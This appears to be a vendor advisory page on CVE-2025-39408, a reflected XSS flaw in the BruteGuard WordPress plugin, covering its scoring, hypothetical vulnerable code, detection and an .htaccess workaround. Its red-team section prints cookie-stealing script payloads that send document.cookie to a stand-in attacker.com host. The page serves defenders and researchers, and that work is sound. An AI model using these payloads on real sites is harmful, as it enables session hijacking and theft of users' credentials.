CVE-2025-39408
Executive Summary
CVE-2025-39408 is a reflected Cross-Site Scripting (XSS) vulnerability in the EverPress BruteGuard – Brute Force Login Protection WordPress plugin, affecting versions from n/a through 0.1.4. The vulnerability stems from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript into a reflected response. With a CVSS score of 7.1 (High), this flaw can be exploited without authentication, requiring only user interaction (e.g., clicking a crafted link). Successful exploitation could lead to session hijacking, credential theft, or defacement within the context of the victim’s browser session on the WordPress site.
As a WordPress plugin vulnerability, this issue is specific to the WordPress ecosystem and does not involve Apache or Nginx server misconfigurations. The plugin is designed to protect against brute force login attempts, but ironically, its own code introduces a security weakness.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Since no patch is currently available (status: UNKNOWN/UNPATCHED), users are advised to disable or remove the plugin immediately. The plugin’s supply chain risk is elevated due to the lack of a fix and the potential for widespread exploitation across WordPress installations.
CVSS Breakdown & Threat Level
- CVSS Score: 7.1 (High)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
- Attack Vector (AV): Network – exploitable remotely.
- Attack Complexity (AC): Low – no special conditions required.
- Privileges Required (PR): None – no authentication needed.
- User Interaction (UI): Required – victim must click a crafted link.
- Scope (S): Changed – impact extends beyond the vulnerable component.
- Confidentiality (C): Low – limited data exposure.
- Integrity (I): Low – limited ability to modify content.
- Availability (A): Low – limited impact on availability.
Threat Level: High. The low attack complexity and no privileges required make this an attractive target for phishing campaigns and drive-by attacks targeting WordPress administrators.
Deep Dive & Mechanics
The vulnerability exists in the BruteGuard plugin’s handling of HTTP request parameters. The plugin likely reflects user input (e.g., error messages, status codes) without proper sanitization or encoding. When a crafted URL containing malicious JavaScript is sent to the plugin’s endpoint, the script is echoed back in the HTML response, executing in the victim’s browser.
Root Cause: The plugin uses functions like echo $_GET['param'] or similar without applying esc_html(), esc_js(), or wp_kses() WordPress sanitization functions. This allows an attacker to inject arbitrary HTML/JavaScript.
Attack Flow:
- Attacker crafts a malicious URL:
https://victim-site.com/wp-admin/admin-ajax.php?action=bruteguard&error=<script>alert('XSS')</script> - Victim clicks the link (e.g., via phishing email).
- The plugin processes the
errorparameter and reflects it in the response without sanitization. - The browser executes the injected script, potentially stealing cookies, redirecting to malicious sites, or performing actions on behalf of the victim.
Vulnerable vs. Patched Code
Since no patch is available, the following is a hypothetical comparison based on common XSS fixes.
Vulnerable Code (bruteguard.php):
function bruteguard_handle_error() {
$error = $_GET['error'];
echo '<div class="error">' . $error . '</div>';
}
Patched Code (hypothetical):
function bruteguard_handle_error() {
$error = isset($_GET['error']) ? esc_html($_GET['error']) : '';
echo '<div class="error">' . $error . '</div>';
}
The patched version uses esc_html() to encode HTML special characters, preventing script injection.
Exploitation & Lab Setup
Red Team (Attacker)
Prerequisites:
- A WordPress site with BruteGuard plugin version <= 0.1.4 installed and activated.
- Ability to craft and deliver a malicious URL to a victim.
Exploitation Steps:
- Identify the vulnerable endpoint (e.g., via Shodan dork or manual inspection).
- Craft a payload:
https://victim-site.com/wp-admin/admin-ajax.php?action=bruteguard&error=<script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script> - Deliver the link via phishing email, social media, or other means.
- When the victim clicks, the script executes and exfiltrates cookies to the attacker’s server.
Example Payload:
<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>
Blue Team (Defender)
Detection Steps:
- Monitor web server logs for requests containing
action=bruteguardand suspiciouserrorparameters. - Look for patterns like
<script>,onerror=, or base64-encoded payloads in query strings. - Use WAF rules to block reflected XSS attempts (see Detection Engineering).
Lab Setup:
- Install WordPress and BruteGuard plugin in a controlled environment.
- Use a browser with developer tools to inspect reflected parameters.
- Simulate attacks using curl:
curl "http://localhost/wp-admin/admin-ajax.php?action=bruteguard&error=<script>alert(1)</script>"
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP requests to
/wp-admin/admin-ajax.phpwithaction=bruteguardanderrorparameter containing<script>tags. - Outbound connections to unknown domains from the WordPress server (data exfiltration).
- HTTP requests to
- File IOCs:
- Modified
.htaccessorwp-config.php(if attacker gains admin access). - Suspicious entries in WordPress
wp_optionstable (e.g., malicious redirects).
- Modified
- Log IOCs:
- Web server logs showing repeated requests with
error=<script>patterns. - PHP error logs indicating uncaught exceptions from the plugin.
- Web server logs showing repeated requests with
Detection Engineering
YARA Rule
Sigma Rule
Suricata Rule
Remediation & Mitigation
Immediate Actions:
- Disable or remove the BruteGuard plugin until a patch is released.
- Implement a Web Application Firewall (WAF) rule to block requests containing
action=bruteguardanderror=<script>patterns. - Educate users about phishing links and the risks of clicking untrusted URLs.
Long-term Fix:
- The vendor must release a patched version that sanitizes all reflected parameters using
esc_html()orwp_kses(). - Until then, consider alternative brute force protection plugins (e.g., Wordfence, Limit Login Attempts Reloaded).
Workaround:
- Add the following to
.htaccessto block malicious requests:
RewriteEngine On
RewriteCond %{QUERY_STRING} action=bruteguard [NC]
RewriteCond %{QUERY_STRING} error=.*<script [NC,OR]
RewriteCond %{QUERY_STRING} error=.*onerror [NC]
RewriteRule ^ - [F,L]
Valters IT
Securing Digital Frontiers
Security researchers use these queries on Shodan.io to find vulnerable systems globally.
Full Shodan queries for this CVE are available through the ValtersIT API. They were moved behind the API in response to large-scale automated scraping, and to keep this independently-researched intelligence sustainable. The written analysis above remains fully open.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.